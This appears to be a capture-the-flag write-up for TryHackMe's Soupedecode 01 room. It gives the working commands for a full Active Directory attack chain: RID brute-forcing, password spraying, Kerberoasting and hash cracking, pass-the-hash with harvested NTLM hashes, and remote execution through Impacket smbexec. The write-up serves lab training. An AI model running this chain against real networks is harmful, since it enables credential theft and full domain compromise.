# TryHackMe Soupedecode 01—Writeup

Welcome back to another writeup! In this post, I’ll be walking you through a detailed step-by-step breakdown of how I tackled and solved the **Soupedecode 01** challenge on TryHackMe. We’ll go over my thought process, the tools I used, some roadblocks I encountered, and how I eventually pieced everything together to get the flag. If you’re also working on this room or just curious about the methodology behind solving CTF-style challenges, this writeup should give you both insights and practical takeaways.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F7GzfcMXcDECVhNy6JvFp%2Fb0e8d7750ec7b4e82870232b05972697.gif?alt=media&#x26;token=62c17fcc-8cee-47c7-9dfd-29e4f095d67f" alt=""><figcaption></figcaption></figure>

Let's dive in!

Our first step is to perform a port scan with **Nmap** to see which services are exposed.

`nmap -A 10.10.156.3`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FXzUMLcKpauGnNY2hGFo1%2FScreenshot%20(407).png?alt=media&#x26;token=8f6e4f7a-ad55-4ffc-9981-363f33ea8377" alt=""><figcaption></figcaption></figure>

The Nmap scan revealed the following services running on the target:

* **DNS** – Port 53
* **Kerberos** – Ports 88, 464
* **SMB** – Port 445
* **LDAP** – Ports 389, 636
* **Global Catalog** – Ports 3268, 3269
* **MSRPC/NetBIOS** – Ports 135, 139
* **Remote Desktop Protocol (RDP)** – Port 3389

Since there's a **Domain Controller**, we need to add the hostname and the domain name to our `/etc/hosts` file

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FKEPQtiQrIPzx7Ah5kiba%2FScreenshot%20(409).png?alt=media&#x26;token=aa1f1e28-6c11-4aef-ab8c-af79749ae4c2" alt=""><figcaption></figcaption></figure>

## Enumeration

Running enumeration against SMB with `NetExec` revealed that the guest account was allowed to log in, giving us read permissions on the `IPC$` share.

`nxc smb soupedecode.local -u guest -p '' --shares`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F44qQoDGW3Yw5SbvnzdFy%2FScreenshot%20(410).png?alt=media&#x26;token=423455d2-3f9f-4fb5-83ef-40f4d8e2330e" alt=""><figcaption></figcaption></figure>

Since the `IPC$` share allowed read access, we leveraged it to perform a **RID brute-force** and enumerate domain users.

`nxc smb soupedecode.local -u guest -p '' --rid`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FA91htMTGbvyVRe5VUga3%2FScreenshot%20(412).png?alt=media&#x26;token=abad6c8b-e441-49fc-936c-ce1f94b94a14" alt=""><figcaption></figcaption></figure>

So many usernames, now we want to store it in a file as a list.

`nxc smb soupedecode.local -u guest -p '' --rid > usernames.txt`&#x20;

Our focus is just on the usernames, so we’ll strip away the unnecessary output. To handle this efficiently, I created a Python script that automates the filtering.

```python
import re

input_file = "usernames.txt"
output_file = "valid_usernames.txt"

with open(input_file, "r") as f:
    lines = f.readlines()
    
usernames = []
for line in lines:
    if "SOUPEDECODE\\" in line:
        # Take everything after the first colon
        parts = line.split(":", 1)
        if len(parts) > 1:
            data = parts[1]
            # Extract content inside SOUPEDECODE\(...)
            match = re.search(r"SOUPEDECODE\\(.*) \(SidType", data)
            if match:
                username = match.group(1)
                if "$" not in username:
                    usernames.append(username)

with open(output_file, "w") as f:
    for username in usernames:
        f.write(username + "\n")

print(f"[+] Extracted {len(usernames)} usernames to {output_file}")
```

Execute and a new file named `valid_usernames.txt` will be generated.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F5yHwDwXx3hE4Yy6wSmuJ%2FScreenshot%20(414).png?alt=media&#x26;token=63e0231e-0be6-4865-b8a9-1eff9c348a1d" alt=""><figcaption></figcaption></figure>

After gathering the usernames, we checked whether any of them were susceptible to AS-REP Roasting, but none of the accounts lacked preauthentication. Next, we attempted a round of password spraying using commonly chosen values—things like the domain name itself, season names, or simple year formats. These attempts did not succeed either. A mistake that often appears in such environments, though, is when an individual sets their password to match their own username.

`nxc smb soupedecode.local -u valid_usernames.txt -p valid_usernames.txt --threads 10 --no-brute --continue-on-success`

After some time, here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FBDUQ7fDwSNTPNzZXnidI%2FScreenshot%20(416).png?alt=media&#x26;token=8aef1321-4a83-4f6e-aaf8-03b0a1bcf60d" alt=""><figcaption></figcaption></figure>

A working credential was identified for the account **ybob317.** Now we proceeded with share enumeration for **ybob317.**

`nxc smb soupedecode.local -u ybob317 -p ybob317 --shares`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FgdWvi6NZpSMUZL0qow29%2FScreenshot%20(419).png?alt=media&#x26;token=292fb39f-627d-4163-a2dd-02e1211cf604" alt=""><figcaption></figcaption></figure>

The results show that the **Users** folder can be browsed. The next step is to access the share directly.

`smbclient //soupedecode.local/Users -U ybob317%ybob317`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FHBRZ2cC6ezht1HcRt9Yh%2FScreenshot%20(420).png?alt=media&#x26;token=35cf498f-bc15-4981-bab4-2f35fa63c636" alt=""><figcaption></figcaption></figure>

The user flag is located in `\ybob317\Desktop` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FDuxkBVgSEkVCoX7AOIDm%2FScreenshot%20(423).png?alt=media&#x26;token=93e02e27-5660-42c2-b04f-6f24ae673752" alt=""><figcaption></figcaption></figure>

**User Flag**

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FUMYOsI2c5aNbvCWSDHTy%2FScreenshot%20(425).png?alt=media&#x26;token=7563f75d-553f-44c8-b7f6-dc7222bcb770" alt=""><figcaption></figcaption></figure>

Using the obtained domain credentials, we enumerate for Kerberoastable accounts through Impacket’s **GetUserSPNs.**

`impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip 10.10.205.165 -request -output hash.txt`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FTLiVLkhlBYIu5Wwy80g3%2FScreenshot%20(426).png?alt=media&#x26;token=87c915f5-cdc7-4e0b-b7f0-cd29709730f4" alt=""><figcaption></figcaption></figure>

We then use `hashcat` or `john` with the `rockyou.txt` wordlist to crack the hashes, eventually revealing the password for the **file\_svc** account.

`john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs hash.txt`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FmLmAhyhT0iOOzi5pMqoX%2FScreenshot%20(428).png?alt=media&#x26;token=b8efbb4b-10cb-4902-91ba-681169fd0e61" alt=""><figcaption></figcaption></figure>

Using the **file\_svc** credentials, we enumerate the shares.

`nxc smb soupedecode.local -u file_svc -p 'secret' --shares`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F648VD6hFI3gFUWmXDTFG%2FScreenshot%20(433).png?alt=media&#x26;token=67b277c0-8dc0-4ffc-94b6-4f0feb0ef4c2" alt=""><figcaption></figcaption></figure>

As you can see, we now have access to the `backup` share.

`smbclient //soupedecode.local/backup -U 'file_svc%<secret>'`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FAFHwFofGusguSL0sX1gj%2FScreenshot%20(435).png?alt=media&#x26;token=9c9b5e3c-816b-4bea-8bb6-4324e4702896" alt=""><figcaption></figcaption></figure>

Inside `backup` , there's a txt file named `backup_extract.txt` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FSbZEAywA9zFqG4zJMR6w%2FScreenshot%20(436).png?alt=media&#x26;token=7629d676-4aa7-4302-ba73-3a44868c76c2" alt=""><figcaption></figcaption></figure>

Notably, the share exposes **NTLM** hashes.

At this stage, we can attempt an **NTLM hash spraying or pass-the-hash attack**. However, before proceeding, we need to prepare a separate file that pairs each username with its corresponding hash. Below is a simple one-liner using `awk` to achieve this.

`awk -F':' '{print $1 > "users.txt"; print $4 > "hashes.txt"}' backup_extract.txt`&#x20;

Now let's use `NetExec` to proceed with our attack.

`nxc smb soupedecode.local -u users.txt -H hashes.txt --no-brute --threads 10`&#x20;

Here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FzbDIWtxGgqVkCUKmvQFz%2FScreenshot%20(437).png?alt=media&#x26;token=47d83a44-7f7c-483d-9e1a-b50f28f03374" alt=""><figcaption></figcaption></figure>

Next, we leverage Impacket’s `smbexec` to run commands remotely over SMB.

`impacket-smbexec 'FileServer$'@soupedecode.local -hashes ':secret'`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FyY2pFE1tuC3LUq0dEg6N%2FScreenshot%20(440).png?alt=media&#x26;token=c09fc626-d284-4ef3-aa95-161c49fd32ba" alt=""><figcaption></figcaption></figure>

We're now **Admin**!! The root flag is located in `C:Users\Adminstrator\Desktop` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FRYo1aF8LdhvLqXhcTFJN%2FScreenshot%20(442).png?alt=media&#x26;token=c3ba10c6-d1bf-42f0-8edd-7e3b99ca2624" alt=""><figcaption></figcaption></figure>

We've successfully pwned Soupedecode 01!!!

This challenge highlights the importance of **systematic enumeration** in an Active Directory environment. By moving step by step — from identifying service accounts, cracking passwords, and enumerating shares, to harvesting NTLM hashes and finally achieving remote execution — we saw how small pieces of information can snowball into full domain compromise.

The key takeaway is simple: **enumeration is the backbone of AD attacks.** Each credential, share, and hash was only useful because we took the time to uncover them through careful probing. Without thorough enumeration, none of the later stages would have been possible.

In the end, this exercise reinforces the mindset that in penetration testing and red teaming, success doesn’t come from jumping straight to exploits — it comes from **patiently gathering intel, chaining findings together, and pivoting with precision.**
